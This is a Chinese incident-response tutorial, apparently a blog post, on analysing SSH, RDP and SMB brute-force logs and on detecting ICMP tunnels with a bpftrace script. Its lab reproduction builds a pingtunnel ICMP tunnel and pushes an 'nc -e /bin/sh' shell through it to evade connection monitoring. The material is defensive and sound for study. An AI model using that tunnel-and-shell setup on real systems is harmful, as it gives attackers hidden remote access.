密码爆破日志分析与隧道流量检查


免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。


爆破日志分析

在应急响应时,为了了解和追查攻击者的攻击入口点和攻击意图,通常使用日志分析的方法,还原攻击方法获取攻击者指纹

其中爆破攻击是在内外网中最常见的一种攻击,尤其是内网横向移动

在分析日志时,需要做到:

  • 明确日志的具体路径
  • 明确日志中有哪些属性和判断依据

现在我通过Linux和Windows两种操作系统为例,分析爆破攻击的日志

Linux

系统日志通常是分析 /var/log 路径下面的日志

text 复制代码
其中最为重要的是:
/var/log/auth.log
或者
/var/log/secure

当然如果是第三方安装的程序,需要找对应的日志路径

Linux-ssh爆破

攻击复现

使用railgun破解工具对虚拟机进行ssh爆破

日志检查

查看 /var/log/secure 情况

查看错误日志登录
cat /var/log/secure|grep Failed

其中许多错误密码记录,并且时间间隔很近,可以判定为爆破事件

成功判断

观察是否登录成功:
cat /var/log/secure|grep Accepted

来源统计

统计登录失败的ip和次数

处置建议

有爆破成功登录的日志,后续需要紧急对该ip进行拉黑封堵

防止爆破建议安装 fail2ban 进行防御

Windows

Windows-RDP:

事件ID:4625/4624

  • 4624:登陆成功
  • 4625:登陆失败

登陆类型:2/3/5/10

  • 2 交互式登录(也称为"本地登录")
  • 3 Network (网络)
  • 10 远程桌面(以前称为"终端服务")
环境准备

虚拟机启动远程服务端口

控制面板-->搜索远程-->允许远程访问你的计算机-->允许应用,此时3389端口就启用了

关闭防火墙

审核配置

开启审核登录成功失败策略

text 复制代码
Win + R → secpol.msc

点击

text 复制代码
本地策略
 └── 审核策略
      └── 审核登录事件

修改(当然最好全部打开,为后面的实验准备)

日志位置

日志查看路径

日志查看方法有多种:

  1. 直接访问
    文件夹C:\Windows\System32\winevt\Logs下的日志,一般重点看security.evtxsetup.evtxsystem.evtx
  2. 使用事件管理器
    Win+R输入eventvwr-->windows日志-->安全
    接下来使用后面使用事件管理器为主
攻击复现

同理使用工具爆破

日志分析

查看日志,看到大量失败日志,并且事件时间距离很近,判断为爆破事件

通过筛选和时间判断,登录是否成功

查看详细信息可以获取爆破的事件类型为网络登录

Windows-SMB:

事件ID:4625/4624

登陆类型:2/3/5/10

环境准备

在本地搭建开启smb服务

参考链接:https://zhuanlan.zhihu.com/p/879444178

策略也要改,不然没有日志

攻击复现

使用爆破工具

日志分析

同样

信息提取

从详细信息提取攻击者的信息和事件类型

除上述例子外还有FTP,Redis,MYSQL,STMP等协议爆破事件,有的是通过系统下载会直接存到系统日志,有些则是应用自带日志管理,需要灵活辨认

隧道流量分析

场景说明:内网或不出网的情况下,协议隧道技术很常见,那么如何定位到进程及攻击者?

  1. 明确隧道最常使用的协议技术(socket,DNS,ICMP等等)
  2. 明确Windows,Linux中分析技术

下面我以ICMP隧道为例子

ICMP实验

Linux-ICMP

Kail为客户端:192.168.41.128

Centos为服务端:192.168.41.144

工具准备

工具地址:pingtunnel

服务端启动

服务端启动

bash 复制代码
sudo ./pingtunnel -type server -key 1234
客户端启动

客户端启动

bash 复制代码
sudo ./pingtunnel -type client -l :4445 -s 192.168.41.144 -t 127.0.0.1:4444 -tcp 1 -key 1234
隧道说明

含义

text 复制代码
client连4445 → server → server本机4444
连接测试

测试连接

服务端监听4444

bash 复制代码
nc -lvvp 4444
上线验证

客户端执行上线

bash 复制代码
nc -e /bin/sh 127.0.0.1 4445

以上看出已经连上了

本地检查

看看客户端本地能不能查看到外联情况

bash 复制代码
netstat -anpt

也是成功将隧道打通隐藏了

隧道检测

分析与发现icmp隧道:

request_monitor.sh

bash 复制代码
#!/bin/bash

convert_ip_to_integers() {
  local ip=$1
  IFS='.' read -r a b c d <<< "$ip"

  be_ip_int=$((a << 24 | b << 16 | c << 8 | d))
  le_ip_int=$((d << 24 | c << 16 | b << 8 | a))

  echo "$be_ip_int $le_ip_int"
}

IP="$1"

if [ -z "$IP" ]; then
  echo "用法: $0 <目标IP>"
  exit 1
fi

read big_endian little_endian <<< "$(convert_ip_to_integers "$IP")"

echo "Start listening for ICMP traffic related to $IP"
echo ""

sudo bpftrace ./request_monitor.bt "$big_endian" "$little_endian" | while IFS= read -r line; do
  if [[ "$line" == EVENT* ]]; then
    pid=$(echo "$line" | sed -n 's/.*pid=\([0-9]\+\).*/\1/p')

    exe="N/A"
    if [[ -n "$pid" && -e "/proc/$pid/exe" ]]; then
      exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
      [[ -z "$exe" ]] && exe="N/A"
    fi

    echo "$line exe=$exe"
  else
    echo "$line"
  fi
done

request_monitor.bt

bash 复制代码
#!/usr/bin/env bpftrace

/*
  监听和指定 IP 相关的 ICMP 流量(双向)
  参数:
    $1 = 目标IP大端整数
    $2 = 目标IP小端整数
*/

kprobe:__dev_queue_xmit
{
    $skb = (struct sk_buff *)arg0;
    if ($skb) {
        $iph = (struct iphdr *)($skb->head + $skb->network_header);
        if ($iph) {
            if ($iph->protocol == 1) {
                if ($iph->daddr == $1 || $iph->daddr == $2 ||
                    $iph->saddr == $1 || $iph->saddr == $2) {

                    printf("EVENT send pid=%d tid=%d comm=%s src=%s dst=%s\n",
                           pid, tid, comm,
                           ntop(2, $iph->saddr),
                           ntop(2, $iph->daddr));
                }
            }
        }
    }
}

kprobe:netif_receive_skb
{
    $skb = (struct sk_buff *)arg0;
    if ($skb) {
        $iph = (struct iphdr *)($skb->head + $skb->network_header);
        if ($iph) {
            if ($iph->protocol == 1) {
                if ($iph->daddr == $1 || $iph->daddr == $2 ||
                    $iph->saddr == $1 || $iph->saddr == $2) {

                    printf("EVENT recv pid=%d tid=%d comm=%s src=%s dst=%s\n",
                           pid, tid, comm,
                           ntop(2, $iph->saddr),
                           ntop(2, $iph->daddr));
                }
            }
        }
    }
}
环境安装

安装:

bash 复制代码
sudo apt update
sudo apt install bpftrace

chmod +x request_monitor.sh
chmod +x request_monitor.bt
启动监听

启动监听

bash 复制代码
./request_monitor.sh ip
ip可以是本机ip也可以是目标ip

客户机ip(受害机)

成功获取到本地icmp连接的端口以及程序进程和路径

处置建议

后面就是对ip进行处置封锁

Windows-ICMP

服务端kail:192.168.42.130

客户端win10:192.168.42.133

实验环境

实验工具:pingtunnel

服务端启动
bash 复制代码
sudo ./pingtunnel -type server -key 1234
客户端启动
bash 复制代码
pingtunnel.exe -type client -l :4445 -s 192.168.42.130 -t 127.0.0.1:4444 -tcp 1 -key 1234
流量分析

分析icmp流量:Microsoft Message Analyzer

下载:Microsoft Message Analyzer

进程定位

以管理员身份运行

点击Start Local Trace找到icmp流量

选中一条,打开details4,如图

点击详细信息,如图

就可以准查到进程命令了

补充说明

由于Microsoft Message Analyzer现在已经停止更新了,所以有些系统无法使用,也可以通过wireshark对流量进行分析

处置

封IP及防火墙限制协议

相关推荐
AnalogElectronic1 小时前
linux 测试网络和端口是否连通的命令详解
linux·网络·php
Edward111111112 小时前
4月28日防火墙问题
linux·运维·服务器
Rust研习社2 小时前
使用 Axum 构建高性能异步 Web 服务
开发语言·前端·网络·后端·http·rust
灰子学技术2 小时前
Envoy HTTP 流量层面的 Metric 指标分析
网络·网络协议·http
上海云盾-小余2 小时前
海外恶意 UDP 攻击溯源:分层封禁策略与业务兼容平衡方案
网络·网络协议·udp
子琦啊2 小时前
【算法复习】字符串 | 两个底层直觉,吃透高频题
linux·运维·算法
智慧光迅AINOPOL2 小时前
校园全光网建设指南:从架构到调优,打造稳定高体验校园网络
网络·全光网解决方案·全光网·酒店全光解决方案·泛住宿全光网解决方案
被摘下的星星3 小时前
Internet 的域名系统:从“名字”到“地址”的翻译官
网络
漠月瑾-西安3 小时前
软件忘了“擦黑板”:一次内核信息泄露事件(CVE-2024-49997)的深度剖析
网络安全·linux内核·内核安全·信息泄露·内存安全·cve漏洞分析
AOwhisky3 小时前
Kubernetes 学习笔记:集群管理、命名空间与 Pod 基础
linux·运维·笔记·学习·云原生·kubernetes